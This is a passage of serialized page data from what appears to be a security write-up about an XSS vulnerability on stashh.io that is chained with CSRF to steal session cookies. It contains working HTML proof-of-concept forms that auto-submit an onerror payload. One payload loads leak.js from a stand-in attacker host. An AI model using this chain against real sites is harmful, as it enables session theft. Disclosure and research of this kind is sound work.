\u003C/script>\n\u003C/html>\n",[40038],{"type":24,"tag":135,"props":40039,"children":40040},{"__ignoreMap":7},[40041,40058,40075,40109,40195,40252,40451,40492,40508,40524,40531,40546,40553,40565,40623,40630,40692,40721,40758,40765,40803,40816,40823,40838],{"type":24,"tag":271,"props":40042,"children":40043},{"class":273,"line":274},[40044,40049,40054],{"type":24,"tag":271,"props":40045,"children":40047},{"style":40046},"--shiki-default:#808080",[40048],{"type":29,"value":801},{"type":24,"tag":271,"props":40050,"children":40051},{"style":278},[40052],{"type":29,"value":40053},"html",{"type":24,"tag":271,"props":40055,"children":40056},{"style":40046},[40057],{"type":29,"value":13709},{"type":24,"tag":271,"props":40059,"children":40060},{"class":273,"line":284},[40061,40066,40071],{"type":24,"tag":271,"props":40062,"children":40063},{"style":40046},[40064],{"type":29,"value":40065}," \u003C",{"type":24,"tag":271,"props":40067,"children":40068},{"style":278},[40069],{"type":29,"value":40070},"body",{"type":24,"tag":271,"props":40072,"children":40073},{"style":40046},[40074],{"type":29,"value":13709},{"type":24,"tag":271,"props":40076,"children":40077},{"class":273,"line":294},[40078,40082,40087,40091,40096,40101,40105],{"type":24,"tag":271,"props":40079,"children":40080},{"style":40046},[40081],{"type":29,"value":40065},{"type":24,"tag":271,"props":40083,"children":40084},{"style":278},[40085],{"type":29,"value":40086},"script",{"type":24,"tag":271,"props":40088,"children":40089},{"style":40046},[40090],{"type":29,"value":18165},{"type":24,"tag":271,"props":40092,"children":40093},{"style":288},[40094],{"type":29,"value":40095},"history.pushState('', '', '/')",{"type":24,"tag":271,"props":40097,"children":40098},{"style":40046},[40099],{"type":29,"value":40100},"\u003C/",{"type":24,"tag":271,"props":40102,"children":40103},{"style":278},[40104],{"type":29,"value":40086},{"type":24,"tag":271,"props":40106,"children":40107},{"style":40046},[40108],{"type":29,"value":13709},{"type":24,"tag":271,"props":40110,"children":40111},{"class":273,"line":303},[40112,40117,40122,40127,40131,40136,40141,40145,40150,40154,40158,40163,40168,40172,40177,40182,40186,40191],{"type":24,"tag":271,"props":40113,"children":40114},{"style":40046},[40115],{"type":29,"value":40116}," \u003C",{"type":24,"tag":271,"props":40118,"children":40119},{"style":278},[40120],{"type":29,"value":40121},"form",{"type":24,"tag":271,"props":40123,"children":40124},{"style":630},[40125],{"type":29,"value":40126}," id",{"type":24,"tag":271,"props":40128,"children":40129},{"style":624},[40130],{"type":29,"value":762},{"type":24,"tag":271,"props":40132,"children":40133},{"style":378},[40134],{"type":29,"value":40135},"\"form123\"",{"type":24,"tag":271,"props":40137,"children":40138},{"style":630},[40139],{"type":29,"value":40140}," action",{"type":24,"tag":271,"props":40142,"children":40143},{"style":624},[40144],{"type":29,"value":762},{"type":24,"tag":271,"props":40146,"children":40147},{"style":378},[40148],{"type":29,"value":40149},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":271,"props":40151,"children":40152},{"style":630},[40153],{"type":29,"value":24803},{"type":24,"tag":271,"props":40155,"children":40156},{"style":624},[40157],{"type":29,"value":762},{"type":24,"tag":271,"props":40159,"children":40160},{"style":378},[40161],{"type":29,"value":40162},"\"POST\"",{"type":24,"tag":271,"props":40164,"children":40165},{"style":630},[40166],{"type":29,"value":40167}," enctype",{"type":24,"tag":271,"props":40169,"children":40170},{"style":624},[40171],{"type":29,"value":762},{"type":24,"tag":271,"props":40173,"children":40174},{"style":378},[40175],{"type":29,"value":40176},"\"multipart/form-data\"",{"type":24,"tag":271,"props":40178,"children":40179},{"style":630},[40180],{"type":29,"value":40181}," value",{"type":24,"tag":271,"props":40183,"children":40184},{"style":624},[40185],{"type":29,"value":762},{"type":24,"tag":271,"props":40187,"children":40188},{"style":378},[40189],{"type":29,"value":40190},"\"asd\"",{"type":24,"tag":271,"props":40192,"children":40193},{"style":40046},[40194],{"type":29,"value":13709},{"type":24,"tag":271,"props":40196,"children":40197},{"class":273,"line":312},[40198,40203,40207,40212,40216,40221,40226,40230,40235,40239,40243,40248],{"type":24,"tag":271,"props":40199,"children":40200},{"style":40046},[40201],{"type":29,"value":40202}," \u003C",{"type":24,"tag":271,"props":40204,"children":40205},{"style":278},[40206],{"type":29,"value":16082},{"type":24,"tag":271,"props":40208,"children":40209},{"style":630},[40210],{"type":29,"value":40211}," type",{"type":24,"tag":271,"props":40213,"children":40214},{"style":624},[40215],{"type":29,"value":762},{"type":24,"tag":271,"props":40217,"children":40218},{"style":378},[40219],{"type":29,"value":40220},"\"file\"",{"type":24,"tag":271,"props":40222,"children":40223},{"style":630},[40224],{"type":29,"value":40225}," name",{"type":24,"tag":271,"props":40227,"children":40228},{"style":624},[40229],{"type":29,"value":762},{"type":24,"tag":271,"props":40231,"children":40232},{"style":378},[40233],{"type":29,"value":40234},"\"data\"",{"type":24,"tag":271,"props":40236,"children":40237},{"style":630},[40238],{"type":29,"value":40126},{"type":24,"tag":271,"props":40240,"children":40241},{"style":624},[40242],{"type":29,"value":762},{"type":24,"tag":271,"props":40244,"children":40245},{"style":378},[40246],{"type":29,"value":40247},"\"file123\"",{"type":24,"tag":271,"props":40249,"children":40250},{"style":40046},[40251],{"type":29,"value":13709},{"type":24,"tag":271,"props":40253,"children":40254},{"class":273,"line":321},[40255,40260,40264,40268,40272,40277,40281,40285,40290,40294,40298,40302,40307,40312,40317,40322,40327,40331,40336,40341,40346,40350,40355,40360,40364,40369,40374,40379,40384,40389,40394,40399,40403,40408,40413,40418,40423,40428,40432,40437,40442,40446],{"type":24,"tag":271,"props":40256,"children":40257},{"style":40046},[40258],{"type":29,"value":40259}," \u003C",{"type":24,"tag":271,"props":40261,"children":40262},{"style":278},[40263],{"type":29,"value":16082},{"type":24,"tag":271,"props":40265,"children":40266},{"style":630},[40267],{"type":29,"value":40211},{"type":24,"tag":271,"props":40269,"children":40270},{"style":624},[40271],{"type":29,"value":762},{"type":24,"tag":271,"props":40273,"children":40274},{"style":378},[40275],{"type":29,"value":40276},"\"hidden\"",{"type":24,"tag":271,"props":40278,"children":40279},{"style":630},[40280],{"type":29,"value":40225},{"type":24,"tag":271,"props":40282,"children":40283},{"style":624},[40284],{"type":29,"value":762},{"type":24,"tag":271,"props":40286,"children":40287},{"style":378},[40288],{"type":29,"value":40289},"\"config\"",{"type":24,"tag":271,"props":40291,"children":40292},{"style":630},[40293],{"type":29,"value":40181},{"type":24,"tag":271,"props":40295,"children":40296},{"style":624},[40297],{"type":29,"value":762},{"type":24,"tag":271,"props":40299,"children":40300},{"style":378},[40301],{"type":29,"value":5702},{"type":24,"tag":271,"props":40303,"children":40304},{"style":278},[40305],{"type":29,"value":40306},"{"",{"type":24,"tag":271,"props":40308,"children":40309},{"style":378},[40310],{"type":29,"value":40311},"address",{"type":24,"tag":271,"props":40313,"children":40314},{"style":278},[40315],{"type":29,"value":40316},"":"",{"type":24,"tag":271,"props":40318,"children":40319},{"style":378},[40320],{"type":29,"value":40321},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":271,"props":40323,"children":40324},{"style":278},[40325],{"type":29,"value":40326},"<",{"type":24,"tag":271,"props":40328,"children":40329},{"style":378},[40330],{"type":29,"value":74},{"type":24,"tag":271,"props":40332,"children":40333},{"style":278},[40334],{"type":29,"value":40335},"/",{"type":24,"tag":271,"props":40337,"children":40338},{"style":378},[40339],{"type":29,"value":40340},"src",{"type":24,"tag":271,"props":40342,"children":40343},{"style":278},[40344],{"type":29,"value":40345},"=",{"type":24,"tag":271,"props":40347,"children":40348},{"style":378},[40349],{"type":29,"value":6034},{"type":24,"tag":271,"props":40351,"children":40352},{"style":278},[40353],{"type":29,"value":40354}," ",{"type":24,"tag":271,"props":40356,"children":40357},{"style":378},[40358],{"type":29,"value":40359},"onerror",{"type":24,"tag":271,"props":40361,"children":40362},{"style":278},[40363],{"type":29,"value":40345},{"type":24,"tag":271,"props":40365,"children":40366},{"style":378},[40367],{"type":29,"value":40368},"alert",{"type":24,"tag":271,"props":40370,"children":40371},{"style":278},[40372],{"type":29,"value":40373},"(",{"type":24,"tag":271,"props":40375,"children":40376},{"style":378},[40377],{"type":29,"value":40378},"document",{"type":24,"tag":271,"props":40380,"children":40381},{"style":278},[40382],{"type":29,"value":40383},".",{"type":24,"tag":271,"props":40385,"children":40386},{"style":378},[40387],{"type":29,"value":40388},"domain",{"type":24,"tag":271,"props":40390,"children":40391},{"style":278},[40392],{"type":29,"value":40393},")>","",{"type":24,"tag":271,"props":40395,"children":40396},{"style":378},[40397],{"type":29,"value":40398},"to",{"type":24,"tag":271,"props":40400,"children":40401},{"style":278},[40402],{"type":29,"value":40316},{"type":24,"tag":271,"props":40404,"children":40405},{"style":378},[40406],{"type":29,"value":40407},"profile",{"type":24,"tag":271,"props":40409,"children":40410},{"style":278},[40411],{"type":29,"value":40412},"-",{"type":24,"tag":271,"props":40414,"children":40415},{"style":378},[40416],{"type":29,"value":40417},"assets",{"type":24,"tag":271,"props":40419,"children":40420},{"style":278},[40421],{"type":29,"value":40422},"","",{"type":24,"tag":271,"props":40424,"children":40425},{"style":378},[40426],{"type":29,"value":40427},"type",{"type":24,"tag":271,"props":40429,"children":40430},{"style":278},[40431],{"type":29,"value":40316},{"type":24,"tag":271,"props":40433,"children":40434},{"style":378},[40435],{"type":29,"value":40436},"icon",{"type":24,"tag":271,"props":40438,"children":40439},{"style":278},[40440],{"type":29,"value":40441},""}",{"type":24,"tag":271,"props":40443,"children":40444},{"style":378},[40445],{"type":29,"value":5702},{"type":24,"tag":271,"props":40447,"children":40448},{"style":40046},[40449],{"type":29,"value":40450}," />\n",{"type":24,"tag":271,"props":40452,"children":40453},{"class":273,"line":330},[40454,40458,40462,40466,40470,40475,40479,40483,40488],{"type":24,"tag":271,"props":40455,"children":40456},{"style":40046},[40457],{"type":29,"value":40259},{"type":24,"tag":271,"props":40459,"children":40460},{"style":278},[40461],{"type":29,"value":16082},{"type":24,"tag":271,"props":40463,"children":40464},{"style":630},[40465],{"type":29,"value":40211},{"type":24,"tag":271,"props":40467,"children":40468},{"style":624},[40469],{"type":29,"value":762},{"type":24,"tag":271,"props":40471,"children":40472},{"style":378},[40473],{"type":29,"value":40474},"\"submit\"",{"type":24,"tag":271,"props":40476,"children":40477},{"style":630},[40478],{"type":29,"value":40181},{"type":24,"tag":271,"props":40480,"children":40481},{"style":624},[40482],{"type":29,"value":762},{"type":24,"tag":271,"props":40484,"children":40485},{"style":378},[40486],{"type":29,"value":40487},"\"Submit request\"",{"type":24,"tag":271,"props":40489,"children":40490},{"style":40046},[40491],{"type":29,"value":40450},{"type":24,"tag":271,"props":40493,"children":40494},{"class":273,"line":339},[40495,40500,40504],{"type":24,"tag":271,"props":40496,"children":40497},{"style":40046},[40498],{"type":29,"value":40499}," \u003C/",{"type":24,"tag":271,"props":40501,"children":40502},{"style":278},[40503],{"type":29,"value":40121},{"type":24,"tag":271,"props":40505,"children":40506},{"style":40046},[40507],{"type":29,"value":13709},{"type":24,"tag":271,"props":40509,"children":40510},{"class":273,"line":347},[40511,40516,40520],{"type":24,"tag":271,"props":40512,"children":40513},{"style":40046},[40514],{"type":29,"value":40515}," \u003C/",{"type":24,"tag":271,"props":40517,"children":40518},{"style":278},[40519],{"type":29,"value":40070},{"type":24,"tag":271,"props":40521,"children":40522},{"style":40046},[40523],{"type":29,"value":13709},{"type":24,"tag":271,"props":40525,"children":40526},{"class":273,"line":356},[40527],{"type":24,"tag":271,"props":40528,"children":40529},{"emptyLinePlaceholder":16},[40530],{"type":29,"value":327},{"type":24,"tag":271,"props":40532,"children":40533},{"class":273,"line":365},[40534,40538,40542],{"type":24,"tag":271,"props":40535,"children":40536},{"style":40046},[40537],{"type":29,"value":40065},{"type":24,"tag":271,"props":40539,"children":40540},{"style":278},[40541],{"type":29,"value":40086},{"type":24,"tag":271,"props":40543,"children":40544},{"style":40046},[40545],{"type":29,"value":13709},{"type":24,"tag":271,"props":40547,"children":40548},{"class":273,"line":374},[40549],{"type":24,"tag":271,"props":40550,"children":40551},{"emptyLinePlaceholder":16},[40552],{"type":29,"value":327},{"type":24,"tag":271,"props":40554,"children":40555},{"class":273,"line":384},[40556,40561],{"type":24,"tag":271,"props":40557,"children":40558},{"style":288},[40559],{"type":29,"value":40560}," (async ()=>",{"type":24,"tag":271,"props":40562,"children":40563},{"style":278},[40564],{"type":29,"value":702},{"type":24,"tag":271,"props":40566,"children":40567},{"class":273,"line":393},[40568,40572,40577,40582,40587,40591,40595,40600,40604,40609,40614,40619],{"type":24,"tag":271,"props":40569,"children":40570},{"style":630},[40571],{"type":29,"value":1628},{"type":24,"tag":271,"props":40573,"children":40574},{"style":630},[40575],{"type":29,"value":40576}," blob",{"type":24,"tag":271,"props":40578,"children":40579},{"style":624},[40580],{"type":29,"value":40581}," = ",{"type":24,"tag":271,"props":40583,"children":40584},{"style":749},[40585],{"type":29,"value":40586},"await",{"type":24,"tag":271,"props":40588,"children":40589},{"style":624},[40590],{"type":29,"value":1357},{"type":24,"tag":271,"props":40592,"children":40593},{"style":749},[40594],{"type":29,"value":40586},{"type":24,"tag":271,"props":40596,"children":40597},{"style":598},[40598],{"type":29,"value":40599}," fetch",{"type":24,"tag":271,"props":40601,"children":40602},{"style":624},[40603],{"type":29,"value":606},{"type":24,"tag":271,"props":40605,"children":40606},{"style":378},[40607],{"type":29,"value":40608},"\"/sapo.png\"",{"type":24,"tag":271,"props":40610,"children":40611},{"style":624},[40612],{"type":29,"value":40613},")).",{"type":24,"tag":271,"props":40615,"children":40616},{"style":598},[40617],{"type":29,"value":40618},"blob",{"type":24,"tag":271,"props":40620,"children":40621},{"style":624},[40622],{"type":29,"value":15452},{"type":24,"tag":271,"props":40624,"children":40625},{"class":273,"line":402},[40626],{"type":24,"tag":271,"props":40627,"children":40628},{"emptyLinePlaceholder":16},[40629],{"type":29,"value":327},{"type":24,"tag":271,"props":40631,"children":40632},{"class":273,"line":411},[40633,40637,40641,40645,40649,40654,40659,40663,40667,40672,40677,40682,40687],{"type":24,"tag":271,"props":40634,"children":40635},{"style":630},[40636],{"type":29,"value":10800},{"type":24,"tag":271,"props":40638,"children":40639},{"style":630},[40640],{"type":29,"value":896},{"type":24,"tag":271,"props":40642,"children":40643},{"style":624},[40644],{"type":29,"value":40581},{"type":24,"tag":271,"props":40646,"children":40647},{"style":278},[40648],{"type":29,"value":22819},{"type":24,"tag":271,"props":40650,"children":40651},{"style":598},[40652],{"type":29,"value":40653}," File",{"type":24,"tag":271,"props":40655,"children":40656},{"style":624},[40657],{"type":29,"value":40658},"([",{"type":24,"tag":271,"props":40660,"children":40661},{"style":630},[40662],{"type":29,"value":40618},{"type":24,"tag":271,"props":40664,"children":40665},{"style":624},[40666],{"type":29,"value":8505},{"type":24,"tag":271,"props":40668,"children":40669},{"style":378},[40670],{"type":29,"value":40671},"'sapo.png'",{"type":24,"tag":271,"props":40673,"children":40674},{"style":624},[40675],{"type":29,"value":40676},", {",{"type":24,"tag":271,"props":40678,"children":40679},{"style":630},[40680],{"type":29,"value":40681},"type:",{"type":24,"tag":271,"props":40683,"children":40684},{"style":378},[40685],{"type":29,"value":40686}," 'image/png'",{"type":24,"tag":271,"props":40688,"children":40689},{"style":624},[40690],{"type":29,"value":40691},"})\n",{"type":24,"tag":271,"props":40693,"children":40694},{"class":273,"line":420},[40695,40699,40704,40708,40712,40717],{"type":24,"tag":271,"props":40696,"children":40697},{"style":630},[40698],{"type":29,"value":1628},{"type":24,"tag":271,"props":40700,"children":40701},{"style":630},[40702],{"type":29,"value":40703}," dataTransfer",{"type":24,"tag":271,"props":40705,"children":40706},{"style":624},[40707],{"type":29,"value":40581},{"type":24,"tag":271,"props":40709,"children":40710},{"style":278},[40711],{"type":29,"value":22819},{"type":24,"tag":271,"props":40713,"children":40714},{"style":598},[40715],{"type":29,"value":40716}," DataTransfer",{"type":24,"tag":271,"props":40718,"children":40719},{"style":624},[40720],{"type":29,"value":4230},{"type":24,"tag":271,"props":40722,"children":40723},{"class":273,"line":429},[40724,40729,40733,40738,40742,40746,40750,40754],{"type":24,"tag":271,"props":40725,"children":40726},{"style":630},[40727],{"type":29,"value":40728}," dataTransfer",{"type":24,"tag":271,"props":40730,"children":40731},{"style":624},[40732],{"type":29,"value":41},{"type":24,"tag":271,"props":40734,"children":40735},{"style":630},[40736],{"type":29,"value":40737},"items",{"type":24,"tag":271,"props":40739,"children":40740},{"style":624},[40741],{"type":29,"value":41},{"type":24,"tag":271,"props":40743,"children":40744},{"style":598},[40745],{"type":29,"value":17344},{"type":24,"tag":271,"props":40747,"children":40748},{"style":624},[40749],{"type":29,"value":606},{"type":24,"tag":271,"props":40751,"children":40752},{"style":630},[40753],{"type":29,"value":791},{"type":24,"tag":271,"props":40755,"children":40756},{"style":624},[40757],{"type":29,"value":1155},{"type":24,"tag":271,"props":40759,"children":40760},{"class":273,"line":438},[40761],{"type":24,"tag":271,"props":40762,"children":40763},{"emptyLinePlaceholder":16},[40764],{"type":29,"value":327},{"type":24,"tag":271,"props":40766,"children":40767},{"class":273,"line":447},[40768,40773,40777,40782,40786,40791,40795,40799],{"type":24,"tag":271,"props":40769,"children":40770},{"style":630},[40771],{"type":29,"value":40772}," file123",{"type":24,"tag":271,"props":40774,"children":40775},{"style":624},[40776],{"type":29,"value":41},{"type":24,"tag":271,"props":40778,"children":40779},{"style":630},[40780],{"type":29,"value":40781},"files",{"type":24,"tag":271,"props":40783,"children":40784},{"style":624},[40785],{"type":29,"value":40581},{"type":24,"tag":271,"props":40787,"children":40788},{"style":630},[40789],{"type":29,"value":40790},"dataTransfer",{"type":24,"tag":271,"props":40792,"children":40793},{"style":624},[40794],{"type":29,"value":41},{"type":24,"tag":271,"props":40796,"children":40797},{"style":630},[40798],{"type":29,"value":40781},{"type":24,"tag":271,"props":40800,"children":40801},{"style":624},[40802],{"type":29,"value":1069},{"type":24,"tag":271,"props":40804,"children":40805},{"class":273,"line":455},[40806,40811],{"type":24,"tag":271,"props":40807,"children":40808},{"style":278},[40809],{"type":29,"value":40810}," }",{"type":24,"tag":271,"props":40812,"children":40813},{"style":288},[40814],{"type":29,"value":40815},")()\n",{"type":24,"tag":271,"props":40817,"children":40818},{"class":273,"line":464},[40819],{"type":24,"tag":271,"props":40820,"children":40821},{"emptyLinePlaceholder":16},[40822],{"type":29,"value":327},{"type":24,"tag":271,"props":40824,"children":40825},{"class":273,"line":473},[40826,40830,40834],{"type":24,"tag":271,"props":40827,"children":40828},{"style":40046},[40829],{"type":29,"value":40515},{"type":24,"tag":271,"props":40831,"children":40832},{"style":278},[40833],{"type":29,"value":40086},{"type":24,"tag":271,"props":40835,"children":40836},{"style":40046},[40837],{"type":29,"value":13709},{"type":24,"tag":271,"props":40839,"children":40840},{"class":273,"line":483},[40841,40845,40849],{"type":24,"tag":271,"props":40842,"children":40843},{"style":40046},[40844],{"type":29,"value":40100},{"type":24,"tag":271,"props":40846,"children":40847},{"style":278},[40848],{"type":29,"value":40053},{"type":24,"tag":271,"props":40850,"children":40851},{"style":40046},[40852],{"type":29,"value":13709},{"type":24,"tag":25,"props":40854,"children":40855},{},[40856],{"type":29,"value":40857},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":25,"props":40859,"children":40860},{},[40861],{"type":29,"value":40862},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":25,"props":40864,"children":40865},{},[40866],{"type":29,"value":40867},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":25,"props":40869,"children":40870},{},[40871],{"type":29,"value":40872},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":261,"props":40874,"children":40876},{"className":39038,"code":40875,"language":39040,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[40877],{"type":24,"tag":135,"props":40878,"children":40879},{"__ignoreMap":7},[40880,40895,40910,40941,41016,41067,41255,41294,41309,41324,41331,41346,41353,41364,41415,41422,41477,41504,41539,41546,41581,41588,41609,41620,41627,41642],{"type":24,"tag":271,"props":40881,"children":40882},{"class":273,"line":274},[40883,40887,40891],{"type":24,"tag":271,"props":40884,"children":40885},{"style":40046},[40886],{"type":29,"value":801},{"type":24,"tag":271,"props":40888,"children":40889},{"style":278},[40890],{"type":29,"value":40053},{"type":24,"tag":271,"props":40892,"children":40893},{"style":40046},[40894],{"type":29,"value":13709},{"type":24,"tag":271,"props":40896,"children":40897},{"class":273,"line":284},[40898,40902,40906],{"type":24,"tag":271,"props":40899,"children":40900},{"style":40046},[40901],{"type":29,"value":40065},{"type":24,"tag":271,"props":40903,"children":40904},{"style":278},[40905],{"type":29,"value":40070},{"type":24,"tag":271,"props":40907,"children":40908},{"style":40046},[40909],{"type":29,"value":13709},{"type":24,"tag":271,"props":40911,"children":40912},{"class":273,"line":294},[40913,40917,40921,40925,40929,40933,40937],{"type":24,"tag":271,"props":40914,"children":40915},{"style":40046},[40916],{"type":29,"value":40065},{"type":24,"tag":271,"props":40918,"children":40919},{"style":278},[40920],{"type":29,"value":40086},{"type":24,"tag":271,"props":40922,"children":40923},{"style":40046},[40924],{"type":29,"value":18165},{"type":24,"tag":271,"props":40926,"children":40927},{"style":288},[40928],{"type":29,"value":40095},{"type":24,"tag":271,"props":40930,"children":40931},{"style":40046},[40932],{"type":29,"value":40100},{"type":24,"tag":271,"props":40934,"children":40935},{"style":278},[40936],{"type":29,"value":40086},{"type":24,"tag":271,"props":40938,"children":40939},{"style":40046},[40940],{"type":29,"value":13709},{"type":24,"tag":271,"props":40942,"children":40943},{"class":273,"line":303},[40944,40948,40952,40956,40960,40964,40968,40972,40976,40980,40984,40988,40992,40996,41000,41004,41008,41012],{"type":24,"tag":271,"props":40945,"children":40946},{"style":40046},[40947],{"type":29,"value":40116},{"type":24,"tag":271,"props":40949,"children":40950},{"style":278},[40951],{"type":29,"value":40121},{"type":24,"tag":271,"props":40953,"children":40954},{"style":630},[40955],{"type":29,"value":40126},{"type":24,"tag":271,"props":40957,"children":40958},{"style":624},[40959],{"type":29,"value":762},{"type":24,"tag":271,"props":40961,"children":40962},{"style":378},[40963],{"type":29,"value":40135},{"type":24,"tag":271,"props":40965,"children":40966},{"style":630},[40967],{"type":29,"value":40140},{"type":24,"tag":271,"props":40969,"children":40970},{"style":624},[40971],{"type":29,"value":762},{"type":24,"tag":271,"props":40973,"children":40974},{"style":378},[40975],{"type":29,"value":40149},{"type":24,"tag":271,"props":40977,"children":40978},{"style":630},[40979],{"type":29,"value":24803},{"type":24,"tag":271,"props":40981,"children":40982},{"style":624},[40983],{"type":29,"value":762},{"type":24,"tag":271,"props":40985,"children":40986},{"style":378},[40987],{"type":29,"value":40162},{"type":24,"tag":271,"props":40989,"children":40990},{"style":630},[40991],{"type":29,"value":40167},{"type":24,"tag":271,"props":40993,"children":40994},{"style":624},[40995],{"type":29,"value":762},{"type":24,"tag":271,"props":40997,"children":40998},{"style":378},[40999],{"type":29,"value":40176},{"type":24,"tag":271,"props":41001,"children":41002},{"style":630},[41003],{"type":29,"value":40181},{"type":24,"tag":271,"props":41005,"children":41006},{"style":624},[41007],{"type":29,"value":762},{"type":24,"tag":271,"props":41009,"children":41010},{"style":378},[41011],{"type":29,"value":40190},{"type":24,"tag":271,"props":41013,"children":41014},{"style":40046},[41015],{"type":29,"value":13709},{"type":24,"tag":271,"props":41017,"children":41018},{"class":273,"line":312},[41019,41023,41027,41031,41035,41039,41043,41047,41051,41055,41059,41063],{"type":24,"tag":271,"props":41020,"children":41021},{"style":40046},[41022],{"type":29,"value":40202},{"type":24,"tag":271,"props":41024,"children":41025},{"style":278},[41026],{"type":29,"value":16082},{"type":24,"tag":271,"props":41028,"children":41029},{"style":630},[41030],{"type":29,"value":40211},{"type":24,"tag":271,"props":41032,"children":41033},{"style":624},[41034],{"type":29,"value":762},{"type":24,"tag":271,"props":41036,"children":41037},{"style":378},[41038],{"type":29,"value":40220},{"type":24,"tag":271,"props":41040,"children":41041},{"style":630},[41042],{"type":29,"value":40225},{"type":24,"tag":271,"props":41044,"children":41045},{"style":624},[41046],{"type":29,"value":762},{"type":24,"tag":271,"props":41048,"children":41049},{"style":378},[41050],{"type":29,"value":40234},{"type":24,"tag":271,"props":41052,"children":41053},{"style":630},[41054],{"type":29,"value":40126},{"type":24,"tag":271,"props":41056,"children":41057},{"style":624},[41058],{"type":29,"value":762},{"type":24,"tag":271,"props":41060,"children":41061},{"style":378},[41062],{"type":29,"value":40247},{"type":24,"tag":271,"props":41064,"children":41065},{"style":40046},[41066],{"type":29,"value":13709},{"type":24,"tag":271,"props":41068,"children":41069},{"class":273,"line":321},[41070,41074,41078,41082,41086,41090,41094,41098,41102,41106,41110,41114,41119,41123,41128,41132,41137,41141,41146,41151,41155,41159,41164,41169,41174,41179,41184,41189,41193,41198,41202,41206,41211,41215,41220,41225,41230,41234,41238,41242,41247,41251],{"type":24,"tag":271,"props":41071,"children":41072},{"style":40046},[41073],{"type":29,"value":40259},{"type":24,"tag":271,"props":41075,"children":41076},{"style":278},[41077],{"type":29,"value":16082},{"type":24,"tag":271,"props":41079,"children":41080},{"style":630},[41081],{"type":29,"value":40211},{"type":24,"tag":271,"props":41083,"children":41084},{"style":624},[41085],{"type":29,"value":762},{"type":24,"tag":271,"props":41087,"children":41088},{"style":378},[41089],{"type":29,"value":40276},{"type":24,"tag":271,"props":41091,"children":41092},{"style":630},[41093],{"type":29,"value":40225},{"type":24,"tag":271,"props":41095,"children":41096},{"style":624},[41097],{"type":29,"value":762},{"type":24,"tag":271,"props":41099,"children":41100},{"style":378},[41101],{"type":29,"value":40289},{"type":24,"tag":271,"props":41103,"children":41104},{"style":630},[41105],{"type":29,"value":40181},{"type":24,"tag":271,"props":41107,"children":41108},{"style":624},[41109],{"type":29,"value":762},{"type":24,"tag":271,"props":41111,"children":41112},{"style":378},[41113],{"type":29,"value":5702},{"type":24,"tag":271,"props":41115,"children":41116},{"style":278},[41117],{"type":29,"value":41118},"{"",{"type":24,"tag":271,"props":41120,"children":41121},{"style":378},[41122],{"type":29,"value":40311},{"type":24,"tag":271,"props":41124,"children":41125},{"style":278},[41126],{"type":29,"value":41127},"":"<",{"type":24,"tag":271,"props":41129,"children":41130},{"style":378},[41131],{"type":29,"value":74},{"type":24,"tag":271,"props":41133,"children":41134},{"style":278},[41135],{"type":29,"value":41136},"/",{"type":24,"tag":271,"props":41138,"children":41139},{"style":378},[41140],{"type":29,"value":40340},{"type":24,"tag":271,"props":41142,"children":41143},{"style":278},[41144],{"type":29,"value":41145},"=",{"type":24,"tag":271,"props":41147,"children":41148},{"style":378},[41149],{"type":29,"value":41150},"x onerror",{"type":24,"tag":271,"props":41152,"children":41153},{"style":278},[41154],{"type":29,"value":41145},{"type":24,"tag":271,"props":41156,"children":41157},{"style":378},[41158],{"type":29,"value":27172},{"type":24,"tag":271,"props":41160,"children":41161},{"style":278},[41162],{"type":29,"value":41163},"(`",{"type":24,"tag":271,"props":41165,"children":41166},{"style":378},[41167],{"type":29,"value":41168},"https",{"type":24,"tag":271,"props":41170,"children":41171},{"style":278},[41172],{"type":29,"value":41173},"://",{"type":24,"tag":271,"props":41175,"children":41176},{"style":378},[41177],{"type":29,"value":41178},"attacker-server",{"type":24,"tag":271,"props":41180,"children":41181},{"style":278},[41182],{"type":29,"value":41183},".",{"type":24,"tag":271,"props":41185,"children":41186},{"style":378},[41187],{"type":29,"value":41188},"com",{"type":24,"tag":271,"props":41190,"children":41191},{"style":278},[41192],{"type":29,"value":41136},{"type":24,"tag":271,"props":41194,"children":41195},{"style":378},[41196],{"type":29,"value":41197},"leak",{"type":24,"tag":271,"props":41199,"children":41200},{"style":278},[41201],{"type":29,"value":41183},{"type":24,"tag":271,"props":41203,"children":41204},{"style":378},[41205],{"type":29,"value":39040},{"type":24,"tag":271,"props":41207,"children":41208},{"style":278},[41209],{"type":29,"value":41210},"`)>","",{"type":24,"tag":271,"props":41212,"children":41213},{"style":378},[41214],{"type":29,"value":40398},{"type":24,"tag":271,"props":41216,"children":41217},{"style":278},[41218],{"type":29,"value":41219},"":"",{"type":24,"tag":271,"props":41221,"children":41222},{"style":378},[41223],{"type":29,"value":41224},"profile-assets",{"type":24,"tag":271,"props":41226,"children":41227},{"style":278},[41228],{"type":29,"value":41229},"","",{"type":24,"tag":271,"props":41231,"children":41232},{"style":378},[41233],{"type":29,"value":40427},{"type":24,"tag":271,"props":41235,"children":41236},{"style":278},[41237],{"type":29,"value":41219},{"type":24,"tag":271,"props":41239,"children":41240},{"style":378},[41241],{"type":29,"value":40436},{"type":24,"tag":271,"props":41243,"children":41244},{"style":278},[41245],{"type":29,"value":41246},""}",{"type":24,"tag":271,"props":41248,"children":41249},{"style":378},[41250],{"type":29,"value":5702},{"type":24,"tag":271,"props":41252,"children":41253},{"style":40046},[41254],{"type":29,